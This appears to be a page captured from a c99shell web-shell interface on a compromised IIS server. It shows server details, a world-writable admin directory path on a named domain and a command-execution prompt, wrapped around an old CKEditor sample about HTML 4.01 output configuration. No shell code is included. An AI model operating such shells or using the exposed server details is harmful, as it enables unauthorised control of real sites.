Software: Microsoft-IIS/10.0. PHP/7.4.33 uname -a: Windows NT LAKE 10.0 build 20348 (Windows Server 2016) AMD64 IWPD_801(traduongco) Safe-mode: OFF (not secure) D:\vhosts\traduong.com.vn\admin.traduong.com.vn\Content\admin\ckeditor\samples\old\htmlwriter\ drwxrwxrwx | |
| Viewing file: Select action/file-type: CKEditor Samples » Producing HTML Compliant Output
This sample is not maintained anymore. Check out the brand new samples in CKEditor SDK.
This sample shows how to configure CKEditor to output valid
HTML 4.01 code.
Traditional HTML elements like To add a CKEditor instance outputting legacy HTML 4.01 code, load the editor using a standard JavaScript call, and define CKEditor features to use the HTML compliant elements and attributes. A snippet of the configuration code can be seen below; check the source of this page for full definition:
CKEDITOR.replace( 'textarea_id', {
coreStyles_bold: { element: 'b' },
coreStyles_italic: { element: 'i' },
fontSize_style: {
element: 'font',
attributes: { 'size': '#(size)' }
}
...
});
|
:: Command execute :: | |
--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.7451 ]-- |